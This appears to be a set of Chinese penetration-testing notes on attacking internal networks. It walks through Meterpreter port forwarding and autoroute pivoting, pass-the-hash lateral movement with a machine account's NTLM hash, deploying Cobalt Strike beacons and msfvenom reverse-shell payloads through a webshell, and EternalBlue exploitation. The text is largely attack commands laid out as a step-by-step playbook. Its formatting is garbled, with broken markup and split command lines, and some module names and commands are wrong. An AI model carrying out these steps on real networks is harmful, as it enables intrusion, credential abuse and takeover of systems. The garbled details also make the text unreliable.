### 目标内网主机无法直接访问时的渗透策略

当你需要渗透的目标主机位于内网中,并且你无法直接访问时,可以通过以下几种常见的方法来实现对内网主机的访问。这些方法通常基于你已获得的其他内网主机的访问权限(如通过 Meterpreter 会话)。

### 1. 利用目标主机的网关或中转主机(跳板机)

如果你能够访问到一台在内网中的机器,且该机器可以访问目标主机,你可以通过它来进行跳板攻击。这可以通过 端口转发 来实现,具体步骤如下:

#### 1.1 使用 Meterpreter 进行端口转发(port forwarding)

如果你已经通过 Meterpreter 会话连接到了内网中的一台主机,你可以设置 端口转发**,将目标主机的服务流量通过当前会话的机器转发到你的本地机器,从而绕过内网的防火墙限制。

假设目标主机的 IP 为 `192.168.1.10`,并且你想要访问该主机的 SMB 服务(端口 445),你可以使用以下命令来设置端口转发:

```bash
meterpreter > portfwd add -l 445 -p 445 -r
192.168.1.10
```

此命令会将你本地的 445 端口流量转发到目标主机 `192.168.1.10` 的 445 端口。你现在可以从你的本地机器直接访问目标主机的 SMB 服务。

#### 1.2 **多级端口转发


如果你在内网中的机器连接到了多个目标,或有多个跳板主机,可以通过逐级转发端口来实现对目标主机的访问。例如,你可以通过一台中间主机(假设它的 IP 是 `192.168.1.2`)来转发流量。

在这种情况下,步骤如下:

1. 先在 `192.168.1.2` 上设置端口转发:
   meterpreter > portfwd add -l 4444 -p 445 -r 192.168.1.10
   


2. 然后在你本地机器上转发端口:
   meterpreter > portfwd add -l 5555 -p 4444 -r 192.168.1.2
   


此时,你可以通过连接到本地的 5555 端口访问目标主机的 SMB 服务。

### 2. 通过 VPN 或 RDP 实现远程访问

如果你的攻击工具或环境中包含了一个可以访问内网的 VPN 或 RDP 服务,可以通过这些服务来实现对内网主机的访问。

#### 2.1 利用 RDP 登录到内网主机

如果你获得了内网中某台主机的凭据(通过之前的凭据枚举等方法),你可以尝试通过 RDP(远程桌面协议) 登录到这台主机。你可以使用 RDP 客户端连接并进行后续的渗透。

#### 2.2 通过 VPN 隧道访问内网

如果你有权限连接到一个已经配置好的 VPN,可以通过 VPN 将你的机器虚拟地接入到目标内网。这将使你可以访问到内网中的其他主机,包括无法直接访问的目标主机。

### 3. 使用 `pivoting` 技术进行内网渗透

#### 3.1 利用 Meterpreter 的 `pivoting` 功能

当你获得对一台内网主机的 Meterpreter 会话时,可以使用 pivoting 技术将流量通过该主机转发到其他内部主机。Meterpreter 提供了一些命令来设置这一功能。

##### 设置 HTTP 隧道:
meterpreter > run autoroute -s 192.168.1.0/24

这个命令会将目标子网(例如 `192.168.1.0/24`)的流量通过当前的 Meterpreter 会话进行转发。

##### 设置 SOCKS5 代理:
meterpreter > run socks5a

通过设置 SOCKS5 代理,你可以将你所有的网络流量通过当前的会话传输,从而实现内网的访问。你可以配置本地的浏览器或其他工具,使用 SOCKS5 代理来访问内网中的其他主机。

#### 3.2 使用 `autoroute` 进行路由添加

autoroute 是一个 Meterpreter 后渗透模块,可以帮助你自动添加路由,从而使得你的网络流量能够通过目标主机进行传递。

你可以使用以下命令来添加目标网络路由:
meterpreter > run autoroute -p


这个命令会自动检查并添加目标网络的路由,确保你可以访问到内网的其他主机。

### 4. 使用反向代理(Reverse Proxy)

如果目标主机位于内网并且防火墙阻止了直接的访问,你还可以尝试通过反向代理技术绕过这些限制。例如,如果你能在一台内网主机上设置反向代理,可以将流量通过这台主机转发到目标主机。

### 5. 通过 SMB 进行横向渗透

如果你已经获得了某台内网主机的凭据(如 stu1$`),并且目标机器使用 SMB 协议,可以通过 **SMB 远程执行** 进行横向渗透。以下是如何利用 `psexecsmb_exec 模块进行操作:

#### 使用 psexec 模块:
meterpreter > use exploit/windows/smb/psexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit


#### 使用 smb_exec 模块:
meterpreter > use post/windows/gather/smbexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit


这些方法可以帮助你横向渗透到目标主机。

### 总结

- **端口转发**:通过内网中的一台主机进行端口转发,实现对其他目标主机的访问。
- **跳板主机**:利用内网中的跳板主机进行进一步渗透。
- **pivoting 技术**:使用 Meterpreter 的 autoroute 和 SOCKS5 代理功能来实现内网访问。
- **反向代理**:在内网主机上设置反向代理,实现流量转发。
- **横向渗透**:利用 SMB 等协议进行横向渗透,进一步访问内网其他主机。

通过这些方法,即使目标主机位于内网中并且不可直接访问,你依然可以借助其他内网主机、端口转发或 VPN 等手段进行渗透。

#Metasploit #Meterpreter #内网渗透 #跳板机 #端口转发 #pivoting #横向渗透 #反向代理 #SMB
### 内网域信息探测与利用 stu1$ 进行域渗透

在渗透测试中,域信息探测和利用计算机账户(如 stu1$`)进行域渗透是常见的攻击步骤。下面,我会分别讲解如何进行域信息探测以及如何利用 `stu1$ 进行域渗透。

### 1. 内网域信息探测
在对内网进行渗透时,首先需要了解目标网络的域信息,特别是关于域控制器、域名、计算机账户等。你可以通过以下方法获取内网域信息:

#### 1.1. 使用 Nmap 执行域扫描
Nmap 提供了一些脚本,可以帮助你快速探测目标网络中的域信息。以下是几种常见的 Nmap 脚本:

- 扫描域控制器**:
使用 `nmap` 的 `--script` 参数来扫描目标网络中的域控制器:
```bash
nmap -p 445 --script smb-os-fingerprint,smb-enum-domains,smb-enum-users <目标IP>
```
- `smb-enum-domains`:枚举网络中的域。
- `smb-enum-users`:枚举域中的用户账户。
- `smb-os-fingerprint`:识别目标系统的操作系统版本。

#### 1.2. **使用 SMB 扫描域信息

你可以使用 `smbclient` 工具来探测域和计算机信息。以下命令可以列出目标网络中的共享信息:
smbclient -L //<目标IP> -U <用户名>

这个命令会列出目标主机的 SMB 共享,并显示域信息。如果你没有用户名,可以尝试匿名登录:
smbclient -L //<目标IP> -U guest


#### 1.3. 使用 Enum4Linux 获取域信息
enum4linux 是一个强大的工具,用于从 Windows 主机(特别是域控制器)收集信息。你可以使用它来探测域名、域用户、计算机账户等信息:
enum4linux -a <目标IP>

该命令将显示大量的域信息,包括用户、组、计算机等。

#### 1.4. 查询域控制器的 DNS 信息
使用 nslookupdig 查询域控制器的 DNS 记录:
nslookup -type=SRV _ldap._tcp.<domain>

这将显示与目标域相关的 LDAP 服务信息,帮助你定位域控制器。

### 2. 利用 `stu1$` 进行域渗透
stu1$ 是一个计算机账户,它通常在域中代表计算机或工作站(以 $ 结尾)。利用 stu1$ 进行域渗透通常涉及使用计算机账户的 NTLM 哈希进行身份验证,尤其是在通过 Windows 域网络进行横向移动时。

#### 2.1. 理解 `stu1$` 计算机账户
计算机账户(以 $ 结尾)通常具有与域用户相同的权限,它们用于 Windows 域控制器上的身份验证。由于你已经获得了 stu1$ 计算机账户的 NTLM 哈希,你可以尝试使用它来在网络中进行身份验证或横向移动。

#### 2.2. 使用 `stu1$` 进行横向渗透
一旦你获得了 stu1$ 计算机账户的 NTLM 哈希,你可以使用工具如 psexec`、`wmiexecsmbexec 来进行横向渗透。这些工具允许你利用 NTLM 哈希进行身份验证,并在远程主机上执行命令。

- 使用 Psexec (Metasploit 的 psexec 模块)**:
```bash
use exploit/windows/smb/psexec
set RHOSTS <目标IP>
set SMBUser stu1$
set SMBPass <stu1$的NTLM哈希>
exploit
```

或者使用 `psexec.py` 工具:
```bash
python
psexec.py stu1$:<stu1$的NTLM哈希>@<目标IP>
```

这将允许你使用 `stu1$` 账户(通过其 NTLM 哈希)执行远程命令。

#### 2.3. **利用 Pass-the-Hash 进行身份验证

通过 Pass-the-Hash 攻击,使用已获取的 NTLM 哈希直接进行身份验证,而无需明文密码。你可以利用 pth 工具包(如 `impacket`)进行攻击:

impacket-psexec stu1$:<stu1$的NTLM哈希>@<目标IP>

或者使用 `pth-winexe`:
winexe -U "stu1$%<stu1$的NTLM哈希>" //<目标IP> "cmd.exe"

这样,你就能在目标主机上执行命令,并获取访问权限。

#### 2.4. 进一步利用计算机账户
如果 `stu1$` 计算机账户属于域管理员组(例如 `Domain Admins`),你可以利用它来进行更深入的渗透操作,获取更高权限的访问。

- 通过 `net group` 命令列出域管理员组:
  net group "Domain Admins" /domain
  


如果 stu1$ 计算机账户属于该组,你可以尝试通过该账户获取域管理员权限。

### 3. 总结
- **域信息探测**:通过 Nmap、enum4linux、SMB 等工具,你可以收集内网的域信息、计算机账户、共享资源等。
- **利用 stu1$ 进行域渗透**:通过 Pass-the-Hash 攻击、psexec 或 Winexe,你可以利用 stu1$ 计算机账户的 NTLM 哈希进行远程命令执行和横向渗透。

这些步骤将帮助你在内网中利用计算机账户进行有效的域渗透,进一步获得对目标网络的控制。

#域渗透 #PassTheHash #stu1$ #Metasploit #Nmap #SMB #横向渗透 #网络渗透
### 🌐 内网渗透场景概述

#### 1. 网络环境
- 双网卡 Web 服务器**:
- 连接外网和内网,作为外网入口。
- **若干内网主机**:
- 处于不同域中,无法直接访问外网。

#### **2. 当前权限

- 已通过 getshell 获取 Web 服务器权限,并通过 蚁剑 连接。

#### 3. 渗透目标
- 进一步渗透内网主机。
- 通过 Web 服务器的双网卡访问内网资源。
- 在外网 Kali 攻击机上使用 Cobalt StrikeMetasploit 进行渗透。

---

### 🛠 渗透步骤总结

#### 方案一:Cobalt Strike(CS)渗透
1. 设置 CS 监听器**(反向 HTTP Beacon)。
2. **上传 Beacon 到 Web 服务器**,通过蚁剑执行。
3. **获取 Beacon 会话**,在 CS 中启动 **Socks5 代理**。
4. 使用 `proxychains` 在 Kali 上进行 **内网扫描
横向渗透**。

#### **方案二:Metasploit(MSF)渗透

1. 生成 Meterpreter Payload**,并通过蚁剑上传到 Web 服务器执行。
2. **捕获 Meterpreter 会话**,使用 `portfwd` 转发内网端口。
3. 启用 **Socks4 代理**,使用 `autoroute` 扩展内网访问能力。
4. 利用 `proxychains` 进行 **内网扫描
漏洞利用(如 MS17-010)**。

---

### 🔑 关键要点
- 利用 **双网卡 Web 服务器
作为跳板。
- 结合 Socks 代理 和 **proxychains**,实现 Kali 与内网的通信。
- 使用 CS 和 MSF 的代理功能,实现内网横向渗透和权限提升。

---

### 关键词
#内网渗透 #双网卡服务器 #CobaltStrike #Metasploit #Socks代理 #横向渗透 #蚁剑
### 🛠 双网卡环境内网渗透方案(基于 Cobalt Strike 与 Metasploit)

在你当前的网络环境中,双网卡 Web 服务器充当了一个桥梁,连接了外网与内网。你已经通过 getshell 获取了 Web 服务器的权限,并通过蚁剑进行连接。接下来,我们将探讨如何使用 Cobalt Strike(CS)Metasploit(MSF) 进行进一步的内网渗透。下面提供了基于两种工具的详细步骤。

---

## 🌐 一、使用 Cobalt Strike 进行内网渗透

### 1. 设置 CS 监听器(Listener)
首先,需要在你当前的 Kali 上设置一个 CS 监听器,用于与目标服务器建立连接。

- 步骤**:
1. 打开 Cobalt Strike 客户端,连接到你的 CS Team Server。
2. 导航到 **Cobalt Strike -> Listeners**,点击 **Add**。
3. 配置监听器:
- **Payload
: windows/beacon_http/reverse_http
- Host: 你的 Kali IP 地址(公网或 VPS IP)
- Port: 80(或其他常用端口)
4. 点击 Save 以创建监听器。

### 2. 上传 CS 的 Beacon 到 Web 服务器
你已经通过蚁剑连接到 Web 服务器,接下来可以上传 CS 的 Beacon。

- 步骤**:
1. 在 CS 中生成 Payload:
- 导航到 **Attacks -> Packages -> Windows Executable (S)

- 选择刚刚创建的监听器,生成一个 .exe.dll 文件。
2. 使用蚁剑将生成的文件上传到 Web 服务器上,并通过命令执行它:
      shell:cmd.exe /c beacon.exe
      

3. 如果成功运行,CS 中会显示一个新的 Beacon 连接。

### 3. 配置 Socks Proxy 以渗透内网
为了通过 Web 服务器进一步渗透内网主机,可以利用 CS 的 Socks Proxy 功能。

- 步骤**:
1. 在 CS 中选择连接的 Beacon。
2. 右键 -> **Explore -> Socks Server**,启动 `Socks5` 代理(默认端口 `1080`)。
3. 在 Kali 上配置代理工具(如 `proxychains`),将其流量导向 CS 的 Socks 代理:
```bash
echo "socks5
127.0.0.1 1080" >> /etc/proxychains.conf
```
4. 使用 `proxychains` 运行内网扫描工具(如 `nmap`):
```bash
proxychains nmap -sT -Pn
192.168.1.0/24
```

### 4. 横向渗透和权限提升
- 利用 CS 的 **Elevate
功能,尝试提升权限。
- 使用 PsExec、WMI 等模块在内网进行横向移动:
  psexec \\192.168.1.10 -u admin -p password -c payload.exe
  


---

## 🛠 二、使用 Metasploit 进行内网渗透

### 1. 利用蚁剑执行 MSF Payload
既然已经通过蚁剑获得了 Web 服务器的 Shell,可以直接通过 MSF 生成 Payload 并在 Web 服务器上执行。

- 步骤**:
1. 在 Kali 中生成 MSF 的反向 Shell Payload:
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali IP> LPORT=4444 -f exe -o meterpreter.exe
```
2. 使用蚁剑将 `meterpreter.exe` 上传到 Web 服务器,并执行:
```shell
shell:cmd.exe /c meterpreter.exe
```

### 2. 在 MSF 中捕获会话
- **步骤**:
1. 启动 `msfconsole` 并设置监听器:
```bash
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Kali IP>
set LPORT 4444
run
```
2. 如果成功,你将在 MSF 中获得一个 `meterpreter` 会话。

### 3. 设置 Meterpreter 的 Port Forwarding
- 如果 Web 服务器能访问内网主机,可以使用 `portfwd` 将内网端口转发到你的 Kali。

```shell
meterpreter > portfwd add -l 8888 -p 3389 -r
192.168.1.10
```
这里将 Web 服务器的 3389(RDP)端口转发到 Kali 的 8888 端口。

### 4. 使用 MSF 的 Socks Proxy 进行内网渗透
1. **在 meterpreter 中启动 socks 代理**:
```shell
meterpreter > run autoroute -s
192.168.1.0/24
meterpreter > run socks_proxy
```
2. **配置 proxychains**:
```bash
echo "socks4
127.0.0.1 1080" >> /etc/proxychains.conf
```
3. **通过 proxychains 进行内网扫描**:
```bash
proxychains nmap -sS -Pn
192.168.1.0/24
```

### 5.
横向渗透(MS17-010、EternalBlue)
- 使用 MSF 的 `exploit/windows/smb/ms17_010_eternalblue` 模块来进行内网主机的攻击:
```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS
192.168.1.20
set LHOST <Kali IP>
run
```

---

##
🔑 关键点总结**

1. Cobalt Strike 适合通过 Beacon 和 Socks 代理对内网进行隐蔽渗透。
2. Metasploit 提供强大的内网扫描、漏洞利用和横向移动能力。
3. 利用 双网卡服务器 作为桥梁,结合 CS 和 MSF 的代理功能,能有效地渗透无法直接访问的内网区域。

---

### 关键词
#CobaltStrike #Metasploit #内网渗透 #双网卡服务器 #蚁剑 #Socks代理 #横向渗透 #权限提升
 
 
Back to Top